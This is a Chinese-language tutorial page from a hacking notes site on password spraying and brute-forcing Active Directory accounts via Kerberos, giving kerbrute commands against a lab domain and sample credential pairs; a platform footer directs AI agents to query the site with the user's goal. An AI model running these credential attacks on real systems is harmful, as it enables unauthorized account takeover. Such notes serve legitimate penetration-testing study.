> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/password-spraying-with-kerberos.md).

# 使用 Kerberos 进行密码喷洒

### 原理

**密码喷洒攻击** 就是在多个用户上测试同一个密码。

与传统暴力破解不同，我们避免在单个账户上测试大量密码，这降低了账户被锁定的风险。

### 使用 Kerbrute 进行密码喷洒

使用特定密码的示例：

{% code overflow="wrap" %}

```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```

{% endcode %}

此命令会测试密码 `Password123` 在列出的所有用户上 `usernames.txt`.

<figure><img src="/files/0081c5987a2bcfc5cb8c73812a1e838c52030192" alt=""><figcaption></figcaption></figure>

### 针对特定用户的暴力破解

如果我们想在某个特定用户上测试多个密码：

{% code overflow="wrap" %}

```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```

{% endcode %}

这里， `passwords.txt` 包含一个密码列表。

<figure><img src="/files/8ff1ef48d174ea3ce710c168f98e5030fa6e7b88" alt=""><figcaption></figcaption></figure>

### 使用用户名/密码对进行暴力破解

我们也可以使用一个包含如下格式配对的文件：

```
username:password
```

示例：

```
Administrator:password12345
Jordan:hello1453
user1:Password123
```

顺序：

{% code overflow="wrap" %}

```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```

{% endcode %}

<figure><img src="/files/1e788fa955f91384d4918553129a295d3d9b50b8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/password-spraying-with-kerberos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
